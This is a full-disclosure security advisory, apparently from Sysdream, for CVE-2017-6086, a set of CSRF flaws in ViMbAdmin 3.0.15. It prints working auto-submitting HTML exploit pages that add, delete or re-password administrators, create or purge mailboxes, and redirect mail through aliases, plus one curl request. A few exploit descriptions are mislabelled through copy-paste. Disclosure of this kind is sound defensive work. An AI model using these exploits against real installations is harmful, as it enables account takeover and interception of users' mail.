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# [CVE-2017-6086] Multiple CSRF vulnerabilities in ViMbAdmin version 3.0.15 ## Product Description ViMbAdmin is a web-based interface used to manage a mail server with virtual domains, mailboxes and aliases. It is an open source solution developed by Opensolutions and distributed under the GNU/GPL license version 3. The official web site can be found at http://www.vimbadmin.net and the source code of the application is available on github https://github.com/opensolutions. ## Details **CVE ID**: CVE-2017-6086 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-352 **CVSS Base Score**: 8.8 **CVSS vector**: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ## Proof of concept ### Add administrator user #### Exploit The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/admin/add" method="POST" target="csrf-frame" > <input type="text" name="user" value="target@email" > <input type="text" name="password" value="newpassword" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>addAction()</code> method of the <code><vimbadmin directory>/application/controllers/DomainController.php</code> file. ### Remove administrator user #### Exploit The following html/javascript code allows to delete an administrator user. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/admin/purge/aid/<administrator id>" method="GET" target="csrf-frame" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>purgeAction()</code> method of the <code><vimbadmin directory>/application/controllers/DomainController.php</code> file. ### Change administrator password #### Exploit The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/admin/password/aid/<administrator id>" method="POST" target="csrf-frame" > <input type="text" name="password" value="newpassword" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>passwordAction()</code> method of the <code><vimbadmin directory>/application/controllers/DomainController.php</code> file. ### Add mailbox address #### Exploit The following html/javascript code allows to update administrator password. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/mailbox/add/did/<domain id>" method="POST" target="csrf-frame" > <input type="text" name="local_part" value="<fakeemail>" > <input type="text" name="domain" value="<domain id>" > <input type="text" name="name" value="<fake name>" > <input type="text" name="password" value="<password>" > <input type="text" name="quota" value="0" > <input type="text" name="alt_email" value="" > <input type="text" name="cc_welcome_email" value="" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>addAction()</code> method of the <code><vimbadmin directory>/application/controllers/MailboxController.php</code> file. ### Purge mailbox #### Exploit The following html/javascript code allows to remove a mailbox address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/mailbox/purge/mid/<mailbox id>" method="POST" target="csrf-frame" > <input type="text" name="data" value="purge" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>purgeAction()</code> method of the <code><vimbadmin directory>/application/controllers/MailboxController.php</code> file. ### Archive mailbox #### Exploit The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/archive/add/mid/<mailbox id>" method="GET" target="csrf-frame" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>addAction()</code> method of the <code><vimbadmin directory>/application/controllers/ArchiveController.php</code> file. ### Add alias address #### Exploit The following html/javascript code allows to force the archival of a mailbox address. It needs to be visited by an administrator of the targeted ViMbAdmin application. </code><code>html curl 'http://<ip>/alias/add/did/<domain id>'--data 'local_part=<fake mailbox>&domain=<domain id>&goto%5B%5D=<redirection email address>' <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/alias/add/did/<domain id>" method="POST" target="csrf-frame" > <input type="text" name="local_part" value="<fake mailbox>" > <input type="text" name="domain" value="<domain id>" > <input type="text" name="goto[]" value="<redirection email address>" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable code The vulnerable code is located in the <code>addAction()</code> method of the <code><vimbadmin directory>/application/controllers/AliasController.php</code> file. ### Remove alias address #### Exploit The following html/javascript code allows the removal of a alias address. It needs to be visited by a logged administrator of the targeted ViMbAdmin application. </code><code>html <head> <title>CSRF ViMbAdmin</title> </head> <body> <iframe style="display:none" name="csrf-frame"></iframe> <form id="csrf-form" action="http://<target ip>/alias/delete/alid/<alias id>" method="GET" target="csrf-frame" > </form> <script>document.getElementById("csrf-form").submit()</script> </body> </code><code> #### Vulnerable Code The vulnerable code is located in the <code>addAction()</code> method of the <code><vimbadmin directory>/application/controllers/AliasController.php</code> file. ## Affected version * tested on version 3.0.15 ## Timeline (dd/mm/yyyy) * 22/01/2017 : Initial discovery. * 16/02/2017 : First contact with opensolutions.io * 16/02/2017 : Advisory sent. * 24/02/2017 : Reply from the owner, acknowledging the report and planning to fix the vulnerabilities. * 13/03/2017 : Sysdream Labs request for an update. * 29/03/2017 : Second request for an update. * 29/03/2017 : Reply from the owner stating that he has no time to fix the issues. * 03/05/2017 : Full disclosure. ## Credits * Florian NIVETTE, Sysdream (f.nivette -at- sysdream -dot- com) |
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